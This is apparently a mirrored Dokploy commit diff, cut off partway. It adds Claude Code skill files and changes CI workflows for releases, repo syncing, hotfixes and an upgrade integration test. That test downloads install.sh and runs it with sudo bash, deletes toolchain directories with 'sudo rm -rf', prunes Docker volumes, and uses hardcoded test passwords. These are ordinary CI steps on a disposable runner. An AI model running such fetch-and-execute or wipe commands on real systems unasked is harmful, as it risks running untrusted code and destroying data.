mirror of
https://github.com/Dokploy/dokploy.git
synced 2026-09-14 11:06:15 +05:00
Merge branch 'canary' into fix/responsive-application-logs
This commit is contained in:
commit
ccfc44815e
22
.claude/settings.json
Normal file
22
.claude/settings.json
Normal file
@ -0,0 +1,22 @@
|
||||
{
|
||||
"worktree": {
|
||||
"baseRef": "fresh"
|
||||
},
|
||||
"hooks": {
|
||||
"PostToolUse": [
|
||||
{
|
||||
"matcher": "EnterWorktree",
|
||||
"hooks": [
|
||||
{
|
||||
"type": "command",
|
||||
"command": "\"$CLAUDE_PROJECT_DIR/scripts/install-worktree-deps.sh\""
|
||||
},
|
||||
{
|
||||
"type": "command",
|
||||
"command": "\"$CLAUDE_PROJECT_DIR/scripts/assign-worktree-port.sh\""
|
||||
}
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
}
|
||||
55
.claude/skills/fix-issue/SKILL.md
Normal file
55
.claude/skills/fix-issue/SKILL.md
Normal file
@ -0,0 +1,55 @@
|
||||
---
|
||||
name: fix-issue
|
||||
description: Implement a GitHub issue with reproduction and verification
|
||||
allowed-tools: Bash, Edit, Write, Read, Glob, Grep, mcp__playwright__*, mcp__dokploy__*
|
||||
---
|
||||
|
||||
The issue number is passed as $1.
|
||||
|
||||
## Instance
|
||||
|
||||
No instance is running yet — start your own, isolated to this worktree:
|
||||
|
||||
1. Check `apps/dokploy/.env` for `PORT` (assigned per-worktree already).
|
||||
2. If nothing is listening on that port, start it: `pnpm dokploy:dev` in the
|
||||
background, then poll `curl -s -o /dev/null -w '%{http_code}' http://localhost:$PORT`
|
||||
until it answers (usually ~10-15s).
|
||||
3. Use `http://localhost:$PORT` as the base URL for Playwright navigation.
|
||||
|
||||
Note: `mcp__dokploy__*` (this repo's `.mcp.json`) resolves its URL from
|
||||
`$DOKPLOY_BASE_URL` once, at session startup — it cannot pick up a port
|
||||
discovered mid-session. If those tools are unavailable or point at the wrong
|
||||
instance, fall back to `curl`/`gh api` for API-level checks, or ask the user
|
||||
to relaunch with `DOKPLOY_BASE_URL` exported first.
|
||||
|
||||
## Tools
|
||||
|
||||
- `mcp__dokploy__*` — the Dokploy API of the running instance. Use it to set up
|
||||
state (create a project, an app, an env var) and to verify backend behavior.
|
||||
Search for the tool you need; they are not all loaded upfront.
|
||||
- `mcp__playwright__*` — the browser at $DOKPLOY_BASE_URL. Use it for anything
|
||||
a user would see or click.
|
||||
|
||||
Pick by where the bug lives, not by convenience:
|
||||
|
||||
- Bug in the UI (rendering, forms, navigation, state) → reproduce in Playwright.
|
||||
The API returning correct data proves nothing here.
|
||||
- Bug in the API, deploy logic, or data → reproduce with the Dokploy MCP.
|
||||
A green screenshot proves nothing here.
|
||||
- Unclear → do both.
|
||||
|
||||
Use the MCP to reach the state you need quickly, then verify in the UI. Do not
|
||||
click through ten screens to create a project the API can create in one call.
|
||||
|
||||
## Steps
|
||||
|
||||
1. Run `gh issue view $1` and read the full issue, including comments.
|
||||
2. Reproduce the bug with the appropriate tool. If you cannot reproduce it,
|
||||
comment on the issue explaining what you tried and STOP.
|
||||
Do not implement anything.
|
||||
3. Implement the fix. Keep the change minimal and scoped to the issue.
|
||||
4. Run `pnpm test`, then re-run the same reproduction from step 2.
|
||||
5. Only if both pass: commit and run `gh pr create`. The PR description must
|
||||
include the before/after reproduction steps and reference the issue.
|
||||
|
||||
Never skip step 2. A fix you cannot reproduce and then verify is not a fix.
|
||||
42
.claude/skills/frontend-design/SKILL.md
Normal file
42
.claude/skills/frontend-design/SKILL.md
Normal file
@ -0,0 +1,42 @@
|
||||
---
|
||||
name: frontend-design
|
||||
description: Create distinctive, production-grade frontend interfaces with high design quality. Use this skill when the user asks to build web components, pages, or applications. Generates creative, polished code that avoids generic AI aesthetics.
|
||||
license: Complete terms in LICENSE.txt
|
||||
---
|
||||
|
||||
This skill guides creation of distinctive, production-grade frontend interfaces that avoid generic "AI slop" aesthetics. Implement real working code with exceptional attention to aesthetic details and creative choices.
|
||||
|
||||
The user provides frontend requirements: a component, page, application, or interface to build. They may include context about the purpose, audience, or technical constraints.
|
||||
|
||||
## Design Thinking
|
||||
|
||||
Before coding, understand the context and commit to a BOLD aesthetic direction:
|
||||
- **Purpose**: What problem does this interface solve? Who uses it?
|
||||
- **Tone**: Pick an extreme: brutally minimal, maximalist chaos, retro-futuristic, organic/natural, luxury/refined, playful/toy-like, editorial/magazine, brutalist/raw, art deco/geometric, soft/pastel, industrial/utilitarian, etc. There are so many flavors to choose from. Use these for inspiration but design one that is true to the aesthetic direction.
|
||||
- **Constraints**: Technical requirements (framework, performance, accessibility).
|
||||
- **Differentiation**: What makes this UNFORGETTABLE? What's the one thing someone will remember?
|
||||
|
||||
**CRITICAL**: Choose a clear conceptual direction and execute it with precision. Bold maximalism and refined minimalism both work - the key is intentionality, not intensity.
|
||||
|
||||
Then implement working code (HTML/CSS/JS, React, Vue, etc.) that is:
|
||||
- Production-grade and functional
|
||||
- Visually striking and memorable
|
||||
- Cohesive with a clear aesthetic point-of-view
|
||||
- Meticulously refined in every detail
|
||||
|
||||
## Frontend Aesthetics Guidelines
|
||||
|
||||
Focus on:
|
||||
- **Typography**: Choose fonts that are beautiful, unique, and interesting. Avoid generic fonts like Arial and Inter; opt instead for distinctive choices that elevate the frontend's aesthetics; unexpected, characterful font choices. Pair a distinctive display font with a refined body font.
|
||||
- **Color & Theme**: Commit to a cohesive aesthetic. Use CSS variables for consistency. Dominant colors with sharp accents outperform timid, evenly-distributed palettes.
|
||||
- **Motion**: Use animations for effects and micro-interactions. Prioritize CSS-only solutions for HTML. Use Motion library for React when available. Focus on high-impact moments: one well-orchestrated page load with staggered reveals (animation-delay) creates more delight than scattered micro-interactions. Use scroll-triggering and hover states that surprise.
|
||||
- **Spatial Composition**: Unexpected layouts. Asymmetry. Overlap. Diagonal flow. Grid-breaking elements. Generous negative space OR controlled density.
|
||||
- **Backgrounds & Visual Details**: Create atmosphere and depth rather than defaulting to solid colors. Add contextual effects and textures that match the overall aesthetic. Apply creative forms like gradient meshes, noise textures, geometric patterns, layered transparencies, dramatic shadows, decorative borders, custom cursors, and grain overlays.
|
||||
|
||||
NEVER use generic AI-generated aesthetics like overused font families (Inter, Roboto, Arial, system fonts), cliched color schemes (particularly purple gradients on white backgrounds), predictable layouts and component patterns, and cookie-cutter design that lacks context-specific character.
|
||||
|
||||
Interpret creatively and make unexpected choices that feel genuinely designed for the context. No design should be the same. Vary between light and dark themes, different fonts, different aesthetics. NEVER converge on common choices (Space Grotesk, for example) across generations.
|
||||
|
||||
**IMPORTANT**: Match implementation complexity to the aesthetic vision. Maximalist designs need elaborate code with extensive animations and effects. Minimalist or refined designs need restraint, precision, and careful attention to spacing, typography, and subtle details. Elegance comes from executing the vision well.
|
||||
|
||||
Remember: Claude is capable of extraordinary creative work. Don't hold back, show what can truly be created when thinking outside the box and committing fully to a distinctive vision.
|
||||
102
.github/workflows/dokploy.yml
vendored
102
.github/workflows/dokploy.yml
vendored
@ -138,6 +138,9 @@ jobs:
|
||||
needs: [combine-manifests]
|
||||
if: github.ref == 'refs/heads/main'
|
||||
runs-on: ubuntu-latest
|
||||
outputs:
|
||||
version: ${{ steps.get_version.outputs.version }}
|
||||
npm_version: ${{ steps.get_version.outputs.npm_version }}
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v4
|
||||
@ -149,14 +152,113 @@ jobs:
|
||||
run: |
|
||||
VERSION=$(node -p "require('./apps/dokploy/package.json').version")
|
||||
echo "version=$VERSION" >> $GITHUB_OUTPUT
|
||||
echo "npm_version=${VERSION#v}" >> $GITHUB_OUTPUT
|
||||
|
||||
- name: Fetch install.sh
|
||||
run: |
|
||||
curl -fsSL https://raw.githubusercontent.com/Dokploy/website/main/apps/website/public/install.sh -o install.sh
|
||||
head -1 install.sh | grep -q '^#!' || { echo "Downloaded install.sh is not a shell script"; exit 1; }
|
||||
grep -q 'DOKPLOY_VERSION' install.sh || { echo "install.sh no longer supports DOKPLOY_VERSION pinning"; exit 1; }
|
||||
{ head -1 install.sh; echo "DOKPLOY_VERSION=\"\${DOKPLOY_VERSION:-${{ steps.get_version.outputs.version }}}\""; tail -n +2 install.sh; } > install-pinned.sh
|
||||
mv install-pinned.sh install.sh
|
||||
|
||||
- name: Create Release
|
||||
uses: softprops/action-gh-release@v2
|
||||
with:
|
||||
tag_name: ${{ steps.get_version.outputs.version }}
|
||||
target_commitish: ${{ github.sha }}
|
||||
name: ${{ steps.get_version.outputs.version }}
|
||||
generate_release_notes: true
|
||||
draft: false
|
||||
prerelease: false
|
||||
files: install.sh
|
||||
env:
|
||||
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
|
||||
sync-version:
|
||||
needs: [generate-release]
|
||||
if: github.ref == 'refs/heads/main'
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- uses: pnpm/action-setup@v4
|
||||
with:
|
||||
version: 10.22.0
|
||||
|
||||
- uses: actions/setup-node@v4
|
||||
with:
|
||||
node-version: 24.4.0
|
||||
cache: pnpm
|
||||
|
||||
- name: Generate OpenAPI specification
|
||||
run: |
|
||||
pnpm install --frozen-lockfile
|
||||
pnpm generate:openapi
|
||||
|
||||
- name: Sync version to MCP repository
|
||||
run: |
|
||||
git clone https://x-access-token:${{ secrets.DOCS_SYNC_TOKEN }}@github.com/dokploy/mcp.git /tmp/mcp-repo
|
||||
cd /tmp/mcp-repo
|
||||
|
||||
jq --arg v "${{ needs.generate-release.outputs.npm_version }}" '.version = $v' package.json > package.json.tmp
|
||||
mv package.json.tmp package.json
|
||||
|
||||
cp ${{ github.workspace }}/openapi.json src/generated/openapi.json
|
||||
pnpm install
|
||||
pnpm run generate
|
||||
|
||||
git config user.name "Dokploy Bot"
|
||||
git config user.email "bot@dokploy.com"
|
||||
git add -A
|
||||
git commit -m "chore: bump version to ${{ needs.generate-release.outputs.npm_version }}" \
|
||||
-m "Source: ${{ github.repository }}@${{ github.sha }}" \
|
||||
--allow-empty
|
||||
git push
|
||||
|
||||
echo "✅ MCP repo synced to version ${{ needs.generate-release.outputs.npm_version }}"
|
||||
|
||||
- name: Sync version to CLI repository
|
||||
run: |
|
||||
git clone https://x-access-token:${{ secrets.DOCS_SYNC_TOKEN }}@github.com/dokploy/cli.git /tmp/cli-repo
|
||||
cd /tmp/cli-repo
|
||||
|
||||
jq --arg v "${{ needs.generate-release.outputs.npm_version }}" '.version = $v' package.json > package.json.tmp
|
||||
mv package.json.tmp package.json
|
||||
|
||||
cp ${{ github.workspace }}/openapi.json ./openapi.json
|
||||
pnpm install
|
||||
pnpm run generate
|
||||
|
||||
git config user.name "Dokploy Bot"
|
||||
git config user.email "bot@dokploy.com"
|
||||
git add -A
|
||||
git commit -m "chore: bump version to ${{ needs.generate-release.outputs.npm_version }}" \
|
||||
-m "Source: ${{ github.repository }}@${{ github.sha }}" \
|
||||
--allow-empty
|
||||
git push
|
||||
|
||||
echo "✅ CLI repo synced to version ${{ needs.generate-release.outputs.npm_version }}"
|
||||
|
||||
- name: Sync version to SDK repository
|
||||
run: |
|
||||
git clone https://x-access-token:${{ secrets.DOCS_SYNC_TOKEN }}@github.com/dokploy/sdk.git /tmp/sdk-repo
|
||||
cd /tmp/sdk-repo
|
||||
|
||||
jq --arg v "${{ needs.generate-release.outputs.npm_version }}" '.version = $v' package.json > package.json.tmp
|
||||
mv package.json.tmp package.json
|
||||
|
||||
cp ${{ github.workspace }}/openapi.json ./openapi.json
|
||||
pnpm install
|
||||
pnpm run generate
|
||||
|
||||
git config user.name "Dokploy Bot"
|
||||
git config user.email "bot@dokploy.com"
|
||||
git add -A
|
||||
git commit -m "chore: bump version to ${{ needs.generate-release.outputs.npm_version }}" \
|
||||
-m "Source: ${{ github.repository }}@${{ github.sha }}" \
|
||||
--allow-empty
|
||||
git push
|
||||
|
||||
echo "✅ SDK repo synced to version ${{ needs.generate-release.outputs.npm_version }}"
|
||||
|
||||
4
.github/workflows/format.yml
vendored
4
.github/workflows/format.yml
vendored
@ -11,7 +11,7 @@ jobs:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
uses: actions/checkout@v5
|
||||
|
||||
- name: Setup biomeJs
|
||||
uses: biomejs/setup-biome@v2
|
||||
@ -19,4 +19,4 @@ jobs:
|
||||
- name: Run Biome formatter
|
||||
run: biome format --write
|
||||
|
||||
- uses: autofix-ci/action@635ffb0c9798bd160680f18fd73371e355b85f27 # v1.3.2
|
||||
- uses: autofix-ci/action@c5b2d67aa2274e7b5a18224e8171550871fc7e4a # v1.3.4
|
||||
|
||||
49
.github/workflows/hotfix-cherry-pick.yml
vendored
Normal file
49
.github/workflows/hotfix-cherry-pick.yml
vendored
Normal file
@ -0,0 +1,49 @@
|
||||
name: Hotfix Cherry-Pick
|
||||
|
||||
on:
|
||||
pull_request_target:
|
||||
types: [closed, labeled]
|
||||
|
||||
concurrency:
|
||||
group: hotfix-to-main
|
||||
cancel-in-progress: false
|
||||
|
||||
jobs:
|
||||
cherry-pick:
|
||||
if: github.event.pull_request.merged == true && contains(github.event.pull_request.labels.*.name, 'hotfix')
|
||||
runs-on: ubuntu-latest
|
||||
permissions:
|
||||
contents: write
|
||||
steps:
|
||||
- name: Checkout main
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
ref: main
|
||||
fetch-depth: 0
|
||||
token: ${{ secrets.HOTFIX_PUSH_TOKEN }}
|
||||
|
||||
- name: Cherry-pick fix to main
|
||||
run: |
|
||||
git config user.name "Dokploy Bot"
|
||||
git config user.email "bot@dokploy.com"
|
||||
SHA="${{ github.event.pull_request.merge_commit_sha }}"
|
||||
if [ "$(git rev-list --parents -n1 "$SHA" | wc -w)" -gt 2 ]; then
|
||||
git cherry-pick -x -m 1 "$SHA"
|
||||
else
|
||||
git cherry-pick -x "$SHA"
|
||||
fi
|
||||
git commit --amend -m "$(git log -1 --format=%B)" -m "[skip ci]"
|
||||
git push origin main
|
||||
|
||||
- name: Sync cherry-pick back into canary
|
||||
run: |
|
||||
git config user.name "Dokploy Bot"
|
||||
git config user.email "bot@dokploy.com"
|
||||
git fetch origin canary main
|
||||
git checkout -B canary origin/canary
|
||||
if ! git merge origin/main -m "chore: sync hotfix from main into canary [skip ci]"; then
|
||||
git merge --abort
|
||||
echo "::error::Could not auto-sync the hotfix into canary (real conflict, not just history divergence). Merge main into canary manually to avoid a conflict on the next release PR."
|
||||
exit 1
|
||||
fi
|
||||
git push origin canary
|
||||
28
.github/workflows/hotfix-release.yml
vendored
Normal file
28
.github/workflows/hotfix-release.yml
vendored
Normal file
@ -0,0 +1,28 @@
|
||||
name: Hotfix Release
|
||||
|
||||
on:
|
||||
workflow_dispatch:
|
||||
|
||||
concurrency:
|
||||
group: hotfix-to-main
|
||||
cancel-in-progress: false
|
||||
|
||||
jobs:
|
||||
release:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Checkout main
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
ref: main
|
||||
token: ${{ secrets.HOTFIX_PUSH_TOKEN }}
|
||||
|
||||
- name: Bump patch version and push
|
||||
run: |
|
||||
git config user.name "Dokploy Bot"
|
||||
git config user.email "bot@dokploy.com"
|
||||
CURRENT=$(node -p "require('./apps/dokploy/package.json').version")
|
||||
NEW=$(echo "$CURRENT" | awk -F. -v OFS=. '{$NF++; print}')
|
||||
sed -i "s/\"version\": \"$CURRENT\"/\"version\": \"$NEW\"/" apps/dokploy/package.json
|
||||
git commit -am "chore: release ${NEW}"
|
||||
git push origin main
|
||||
21
.github/workflows/pr-quality.yml
vendored
21
.github/workflows/pr-quality.yml
vendored
@ -1,21 +0,0 @@
|
||||
|
||||
name: PR Quality
|
||||
|
||||
permissions:
|
||||
contents: read
|
||||
issues: read
|
||||
pull-requests: write
|
||||
|
||||
on:
|
||||
pull_request_target:
|
||||
types: [opened, reopened]
|
||||
|
||||
jobs:
|
||||
anti-slop:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: peakoss/anti-slop@v0
|
||||
with:
|
||||
blocked-commit-authors: "claude,copilot"
|
||||
require-description: true
|
||||
min-account-age: 5
|
||||
6
.github/workflows/pull-request.yml
vendored
6
.github/workflows/pull-request.yml
vendored
@ -14,9 +14,9 @@ jobs:
|
||||
matrix:
|
||||
job: [build, test, typecheck]
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: pnpm/action-setup@v4
|
||||
- uses: actions/setup-node@v4
|
||||
- uses: actions/checkout@v5
|
||||
- uses: pnpm/action-setup@v5
|
||||
- uses: actions/setup-node@v5
|
||||
with:
|
||||
node-version: 24.4.0
|
||||
cache: "pnpm"
|
||||
|
||||
63
.github/workflows/sync-openapi-docs.yml
vendored
63
.github/workflows/sync-openapi-docs.yml
vendored
@ -68,3 +68,66 @@ jobs:
|
||||
|
||||
echo "✅ OpenAPI synced to website successfully"
|
||||
|
||||
- name: Sync to MCP repository
|
||||
run: |
|
||||
git clone https://x-access-token:${{ secrets.DOCS_SYNC_TOKEN }}@github.com/dokploy/mcp.git mcp-repo
|
||||
|
||||
cd mcp-repo
|
||||
|
||||
cp -f ../openapi.json openapi.json
|
||||
|
||||
git config user.name "Dokploy Bot"
|
||||
git config user.email "bot@dokploy.com"
|
||||
|
||||
git add openapi.json
|
||||
git commit -m "chore: sync OpenAPI specification [skip ci]" \
|
||||
-m "Source: ${{ github.repository }}@${{ github.sha }}" \
|
||||
-m "Updated: $(date -u +'%Y-%m-%d %H:%M:%S UTC')" \
|
||||
--allow-empty
|
||||
|
||||
git push
|
||||
|
||||
echo "✅ OpenAPI synced to MCP repository successfully"
|
||||
|
||||
- name: Sync to CLI repository
|
||||
run: |
|
||||
git clone https://x-access-token:${{ secrets.DOCS_SYNC_TOKEN }}@github.com/dokploy/cli.git cli-repo
|
||||
|
||||
cd cli-repo
|
||||
|
||||
cp -f ../openapi.json openapi.json
|
||||
|
||||
git config user.name "Dokploy Bot"
|
||||
git config user.email "bot@dokploy.com"
|
||||
|
||||
git add openapi.json
|
||||
git commit -m "chore: sync OpenAPI specification [skip ci]" \
|
||||
-m "Source: ${{ github.repository }}@${{ github.sha }}" \
|
||||
-m "Updated: $(date -u +'%Y-%m-%d %H:%M:%S UTC')" \
|
||||
--allow-empty
|
||||
|
||||
git push
|
||||
|
||||
echo "✅ OpenAPI synced to CLI repository successfully"
|
||||
|
||||
- name: Sync to SDK repository
|
||||
run: |
|
||||
git clone https://x-access-token:${{ secrets.DOCS_SYNC_TOKEN }}@github.com/dokploy/sdk.git sdk-repo
|
||||
|
||||
cd sdk-repo
|
||||
|
||||
cp -f ../openapi.json openapi.json
|
||||
|
||||
git config user.name "Dokploy Bot"
|
||||
git config user.email "bot@dokploy.com"
|
||||
|
||||
git add openapi.json
|
||||
git commit -m "chore: sync OpenAPI specification [skip ci]" \
|
||||
-m "Source: ${{ github.repository }}@${{ github.sha }}" \
|
||||
-m "Updated: $(date -u +'%Y-%m-%d %H:%M:%S UTC')" \
|
||||
--allow-empty
|
||||
|
||||
git push
|
||||
|
||||
echo "✅ OpenAPI synced to SDK repository successfully"
|
||||
|
||||
|
||||
437
.github/workflows/upgrade-integration-test.yml
vendored
Normal file
437
.github/workflows/upgrade-integration-test.yml
vendored
Normal file
@ -0,0 +1,437 @@
|
||||
# Upgrade Integration Test
|
||||
#
|
||||
# Tests that Dokploy can upgrade from version A to version B while keeping
|
||||
# user projects (Postgres, MongoDB, two web apps, one static site) alive.
|
||||
#
|
||||
# Generates upgrade pairs: each stable tag in [floor_version, target_version)
|
||||
# is paired with target_version. If target_version is empty, the highest tag
|
||||
# available on Docker Hub is used as the target.
|
||||
#
|
||||
# Only triggered manually to avoid burning Actions minutes.
|
||||
|
||||
name: Upgrade Integration Test
|
||||
|
||||
on:
|
||||
workflow_dispatch:
|
||||
inputs:
|
||||
floor_version:
|
||||
description: 'Oldest version tag to include in pairs (e.g. v0.29.4)'
|
||||
required: false
|
||||
default: 'v0.29.4'
|
||||
target_version:
|
||||
description: 'Target version to upgrade to (version B). Leave empty to use the highest available.'
|
||||
required: false
|
||||
default: ''
|
||||
|
||||
env:
|
||||
DOKPLOY_IMAGE: dokploy/dokploy
|
||||
DOKPLOY_SERVICE: dokploy
|
||||
DOKPLOY_PORT: 3000
|
||||
|
||||
# ──────────────────────────────────────────────────────────────────────────────
|
||||
jobs:
|
||||
|
||||
# ── 1. Build the matrix ─────────────────────────────────────────────────────
|
||||
build-matrix:
|
||||
name: Build upgrade pair matrix
|
||||
runs-on: ubuntu-latest
|
||||
outputs:
|
||||
pairs: ${{ steps.pairs.outputs.pairs }}
|
||||
|
||||
steps:
|
||||
- name: Generate pairs
|
||||
id: pairs
|
||||
env:
|
||||
FLOOR: ${{ inputs.floor_version }}
|
||||
TARGET: ${{ inputs.target_version }}
|
||||
run: |
|
||||
set -euo pipefail
|
||||
|
||||
# semver "a >= b" comparison helper (vX.Y.Z, strips leading v)
|
||||
ge() {
|
||||
[ "$(printf '%s\n%s\n' "${1#v}" "${2#v}" | sort -V | tail -n1)" = "${1#v}" ]
|
||||
}
|
||||
|
||||
# Fetch all semver tags from Docker Hub (dokploy/dokploy)
|
||||
ALL_TAGS=$(curl -fsSL \
|
||||
"https://hub.docker.com/v2/repositories/dokploy/dokploy/tags?page_size=100" | \
|
||||
jq -r '.results[].name' | \
|
||||
grep -E '^v[0-9]+\.[0-9]+\.[0-9]+$' | \
|
||||
sort -V)
|
||||
|
||||
echo "All tags found:"
|
||||
echo "$ALL_TAGS"
|
||||
|
||||
# Target version (version B): explicit input, else highest available.
|
||||
if [ -n "$TARGET" ]; then
|
||||
TO="$TARGET"
|
||||
echo "Using user-supplied target version: $TO"
|
||||
else
|
||||
TO=$(echo "$ALL_TAGS" | tail -n1)
|
||||
echo "No target supplied; using highest available: $TO"
|
||||
fi
|
||||
|
||||
# Floor semver components
|
||||
FLOOR_CLEAN="${FLOOR#v}"
|
||||
IFS='.' read -r F_MAJ F_MIN F_PAT <<< "$FLOOR_CLEAN"
|
||||
|
||||
# Each tag in [FLOOR, TO) → TO
|
||||
PAIRS='[]'
|
||||
while read -r TAG; do
|
||||
[ -z "$TAG" ] && continue
|
||||
# skip tags above-or-equal to the target (incl. the target itself)
|
||||
ge "$TAG" "$TO" && continue
|
||||
TAG_CLEAN="${TAG#v}"
|
||||
IFS='.' read -r T_MAJ T_MIN T_PAT <<< "$TAG_CLEAN"
|
||||
if [ "$T_MAJ" -gt "$F_MAJ" ] || \
|
||||
{ [ "$T_MAJ" -eq "$F_MAJ" ] && [ "$T_MIN" -gt "$F_MIN" ]; } || \
|
||||
{ [ "$T_MAJ" -eq "$F_MAJ" ] && [ "$T_MIN" -eq "$F_MIN" ] && [ "$T_PAT" -ge "$F_PAT" ]; }; then
|
||||
PAIRS=$(echo "$PAIRS" | jq -c \
|
||||
--arg f "$TAG" --arg t "$TO" \
|
||||
'. + [{"from":$f,"to":$t}]')
|
||||
fi
|
||||
done <<< "$ALL_TAGS"
|
||||
|
||||
COUNT=$(echo "$PAIRS" | jq 'length')
|
||||
echo "Total pairs: $COUNT"
|
||||
echo "$PAIRS" | jq -r '.[] | " \(.from) → \(.to)"'
|
||||
|
||||
echo "pairs=$PAIRS" >> "$GITHUB_OUTPUT"
|
||||
|
||||
|
||||
# ── 2. Run one upgrade test per pair ────────────────────────────────────────
|
||||
upgrade-test:
|
||||
name: "${{ matrix.pair.from }} → ${{ matrix.pair.to }}"
|
||||
needs: build-matrix
|
||||
runs-on: ubuntu-latest
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
pair: ${{ fromJSON(needs.build-matrix.outputs.pairs) }}
|
||||
|
||||
steps:
|
||||
|
||||
# ── Environment setup ──────────────────────────────────────────────────
|
||||
- name: Free disk space
|
||||
run: |
|
||||
sudo rm -rf \
|
||||
/usr/share/dotnet /opt/ghc /usr/local/share/boost \
|
||||
"$AGENT_TOOLSDIRECTORY" /usr/local/lib/android \
|
||||
/usr/local/share/chromium /opt/hostedtoolcache
|
||||
docker system prune -af --volumes
|
||||
df -h
|
||||
|
||||
# ── Install Dokploy directly at VERSION A ──────────────────────────────
|
||||
# install.sh:
|
||||
# • requires root (run via sudo bash)
|
||||
# • respects DOKPLOY_VERSION → installs that tag directly
|
||||
# (so we don't need a separate "downgrade" step that would risk
|
||||
# running B's migrations on A's expected schema)
|
||||
# • respects ADVERTISE_ADDR → skip the external IP lookup
|
||||
# • initializes Docker Swarm + dokploy-network itself
|
||||
- name: Install Dokploy at VERSION A (${{ matrix.pair.from }})
|
||||
run: |
|
||||
curl -fsSL https://dokploy.com/install.sh -o /tmp/install.sh
|
||||
chmod +x /tmp/install.sh
|
||||
sudo -E env \
|
||||
DOKPLOY_VERSION="${{ matrix.pair.from }}" \
|
||||
ADVERTISE_ADDR="127.0.0.1" \
|
||||
bash /tmp/install.sh
|
||||
|
||||
- name: Wait for dokploy service to converge on ${{ matrix.pair.from }}
|
||||
run: |
|
||||
echo "Waiting for 'dokploy' Swarm service to reach 1/1..."
|
||||
timeout 240 bash -c '
|
||||
until docker service ls --filter name=dokploy \
|
||||
--format "{{.Name}} {{.Replicas}}" \
|
||||
| grep "^dokploy " | grep -q " 1/1"; do
|
||||
sleep 4
|
||||
done
|
||||
'
|
||||
docker service ls
|
||||
echo "✅ Service running on ${{ matrix.pair.from }}"
|
||||
|
||||
- name: Wait for Dokploy API to accept requests
|
||||
run: |
|
||||
timeout 180 bash -c '
|
||||
until curl -sf -o /dev/null \
|
||||
"http://localhost:${{ env.DOKPLOY_PORT }}"; do
|
||||
sleep 3
|
||||
done
|
||||
'
|
||||
echo "✅ Dokploy API is up"
|
||||
|
||||
# ── Bootstrap admin user ───────────────────────────────────────────────
|
||||
- name: Register first admin user
|
||||
id: auth
|
||||
run: |
|
||||
COOKIE_JAR="$RUNNER_TEMP/dokploy-cookies.txt"
|
||||
: > "$COOKIE_JAR"
|
||||
chmod 600 "$COOKIE_JAR"
|
||||
echo "cookie_jar=$COOKIE_JAR" >> "$GITHUB_OUTPUT"
|
||||
|
||||
# better-auth: sign-up/email (allowed only before any owner exists)
|
||||
set -x
|
||||
curl -sS -i -X POST \
|
||||
"http://localhost:${{ env.DOKPLOY_PORT }}/api/auth/sign-up/email" \
|
||||
-H "Content-Type: application/json" \
|
||||
-c "$COOKIE_JAR" -b "$COOKIE_JAR" \
|
||||
-d '{"name":"CI Admin","email":"ci@dokploy.test","password":"CiTest1234!"}' \
|
||||
| tee /tmp/signup.out
|
||||
set +x
|
||||
|
||||
# Verify we got a session cookie
|
||||
if ! grep -qE '(better-auth|auth)\.session' "$COOKIE_JAR"; then
|
||||
echo "⚠️ No session cookie matched expected name; jar contents:"
|
||||
cat "$COOKIE_JAR"
|
||||
fi
|
||||
|
||||
# ── Create test resources ──────────────────────────────────────────────
|
||||
- name: Create project, databases and applications
|
||||
id: create
|
||||
env:
|
||||
BASE: "http://localhost:${{ env.DOKPLOY_PORT }}"
|
||||
COOKIE: ${{ steps.auth.outputs.cookie_jar }}
|
||||
run: |
|
||||
set -euo pipefail
|
||||
|
||||
# --- tRPC POST helper ---
|
||||
trpc_mut() {
|
||||
curl -sf -X POST "$BASE/api/trpc/$1" \
|
||||
-H "Content-Type: application/json" \
|
||||
-b "$COOKIE" -c "$COOKIE" \
|
||||
-d "{\"json\":$2}"
|
||||
}
|
||||
|
||||
# --- Project ---
|
||||
PROJECT=$(trpc_mut project.create \
|
||||
'{"name":"ci-upgrade-test","description":"CI upgrade integration test"}')
|
||||
echo "project.create → $PROJECT"
|
||||
|
||||
# project.create in v0.29+ returns nested {project:{projectId}, environment:{environmentId}}
|
||||
PROJECT_ID=$(echo "$PROJECT" | jq -r \
|
||||
'.result.data.json.project.projectId // .result.data.json.projectId // empty')
|
||||
ENV_ID=$(echo "$PROJECT" | jq -r \
|
||||
'.result.data.json.environment.environmentId // empty')
|
||||
|
||||
if [ -z "$PROJECT_ID" ] || [ "$PROJECT_ID" = "null" ]; then
|
||||
echo "❌ Could not extract projectId from project.create response:"
|
||||
echo "$PROJECT" | jq .
|
||||
exit 1
|
||||
fi
|
||||
if [ -z "$ENV_ID" ] || [ "$ENV_ID" = "null" ]; then
|
||||
echo "❌ Could not extract environmentId — this version may not support environments."
|
||||
echo " project.create response: $PROJECT"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo "project_id=$PROJECT_ID" >> "$GITHUB_OUTPUT"
|
||||
echo "env_id=$ENV_ID" >> "$GITHUB_OUTPUT"
|
||||
echo "Detected PROJECT_ID=$PROJECT_ID ENV_ID=$ENV_ID"
|
||||
|
||||
# --- PostgreSQL 15 ---
|
||||
PG=$(trpc_mut postgres.create \
|
||||
"{\"name\":\"ci-pg\",\"appName\":\"ci-pg-db\",\
|
||||
\"databaseName\":\"cidb\",\"databaseUser\":\"ciuser\",\
|
||||
\"databasePassword\":\"CiPg1pass\",\
|
||||
\"dockerImage\":\"postgres:15\",\"environmentId\":\"$ENV_ID\"}")
|
||||
echo "postgres.create → $PG"
|
||||
PG_ID=$(echo "$PG" | jq -r '.result.data.json.postgresId')
|
||||
# deploy (not start) — deploy creates the Swarm service; start only
|
||||
# scales an already-deployed service and 500s on a fresh resource.
|
||||
trpc_mut postgres.deploy "{\"postgresId\":\"$PG_ID\"}" > /dev/null
|
||||
echo "pg_id=$PG_ID" >> "$GITHUB_OUTPUT"
|
||||
|
||||
# --- MongoDB 7.0 ---
|
||||
MG=$(trpc_mut mongo.create \
|
||||
